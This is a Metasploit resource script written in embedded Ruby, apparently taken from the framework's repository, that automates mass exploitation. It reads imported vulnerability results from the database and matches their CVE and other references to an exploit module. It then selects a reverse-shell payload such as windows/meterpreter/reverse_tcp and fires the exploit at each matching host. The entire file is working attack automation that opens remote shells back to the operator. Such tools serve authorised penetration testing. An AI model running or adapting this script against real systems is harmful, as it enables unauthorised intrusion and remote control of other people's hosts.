metasploit-framework/scripts/resource/autoexploit.rc

184 lines
4.2 KiB
Plaintext
Raw Normal View History

# easy-autoexploiter.rc
# Author: m-1-k-3 (Web: http://www.s3cur1ty.de / Twitter: @s3cur1ty_de)
<ruby>
#
# Print the help function
#
def help_me
help = %Q|
HELP:
This Metasploit RC-File can be used to automate the exploitation process. Before
using this script, you should import your vulnerability results to Metasploit, and
then it will exploit each possible host when the there is a match to one of the
references. A reverse shell is automatically selected for you. When available,
it will always default to a suitable meterpreter.
Usage:
./msfconsole -r [rc_path] [db_user] [db_pass] [db_workspace] [module_path]
Arguments:
rc_path - Full path to this RC script
db_user - Username for the database
db_pass - Password for the database
db_worksapce - Workspace for the database
module_path - Path to the exploit
Authors:
m-1-k-3 (m1k3[at]s3cur1ty.de)
sinn3r ()
|
help = help.gsub(/^\t/, '')
print_line(help)
end
#
# Load an exploit
#
def load_exploit(path)
framework.exploits.create(path)
end
#
# See if there is any unmatched refs
#
def ref_has_match(vuln_refs, exp_refs)
# exp_refs is an array of URLs
# vuln_refs is a collection of Mdm::Ref, with 'name' being the most useful info
# (may contain a link)
vuln_refs.each do |ref|
n = ref.name
n = n.gsub(/^CVE\-/, '')
n = n.gsub(/^OSVDB\-/, '')
n = n.gsub(/^MSB\-/, '')
n = n.gsub(/^EDB-/, '')
exp_refs.each { |e| return true if e.to_s =~ /#{n}/ }
end
return false
end
#
# Automatically select a payload in this order:
# Windows meterpreter, linux, osx, php, java, generic
#
def select_payload(exploit)
windows = 'windows/meterpreter/reverse_tcp'
linux = 'linux/x86/reverse_tcp'
osx = 'osx/x86/shell_reverse_tcp'
php = 'php/meterpreter_reverse_tcp'
multi = 'java/meterpreter/reverse_tcp'
generic = 'generic/shell_reverse_tcp'
payloads = []
exploit.compatible_payloads.each do |p|
payloads << p[0]
end
if payloads.include?(windows)
return windows
elsif payloads.include?(linux)
return linux
elsif payloads.include?(php)
return php
elsif payloads.include?(multi)
return multi
elsif payloads.include?(generic)
return generic
else
# WTF? This exploit supports NONE of our favorite payloads?
# What kinda BS is this?
return payload
end
end
#
# Connect to the database
#
def init_db(username, password, workspace)
# Check params
if username.empty? or password.empty?
raise RuntimeError, "You must have a credential to connect to your database"
end
print_status("Connecting to database: #{workspace}")
run_single("db_connect #{username}:#{password}@localhost:5432/#{workspace}")
end
#
# Start the exploitation
#
def auto_exploit(module_path)
exploit = load_exploit(module_path)
if exploit.nil?
# Force msfconsole to abort, because we failed to initialize the rc script properly
raise RuntimeError, "Exploit not found: #{module_path}"
end
exploit_refs = exploit.references
get_payload = select_payload(exploit)
lhost = Rex::Socket.source_address('50.50.50.50')
print_status("Payload selected: #{get_payload} (lhost=#{lhost})")
framework.db.workspace.vulns.each do |vuln|
next if not ref_has_match(vuln.refs, exploit_refs)
print_status("Using #{exploit.shortname} against host #{vuln.host.address.to_s}")
run_single("use #{exploit.fullname}")
run_single("set RHOST #{vuln.host.address.to_s}")
run_single("set payload #{get_payload}")
run_single("set lhost #{lhost}")
run_single("exploit -z")
select(nil, nil, nil, 1)
run_single("back")
end
end
# Print help upon request
if ARGV.join('') =~ /^help$/i
help_me
run_single('exit')
return
end
#[db_user] [db_pass] [db_workspace] [module_path]
u = ARGV.shift || 'postgres' #default username in msf manual
p = ARGV.shift || ''
w = ARGV.shift || 'msf' #default workspace in msf manual
m = ARGV.shift || ''
# Initilize the database
begin
init_db(u, p, w)
rescue RuntimeError => e
print_error(e.message)
run_single('exit')
return
rescue ::Exception => e
raise e
end
# Run auto exploit
begin
if framework.datastore['MODULE'].nil?
auto_exploit(m)
else
auto_exploit(framework.datastore['MODULE'])
end
rescue RuntimeError => e
print_error(e.message)
run_single('exit')
return
end
</ruby>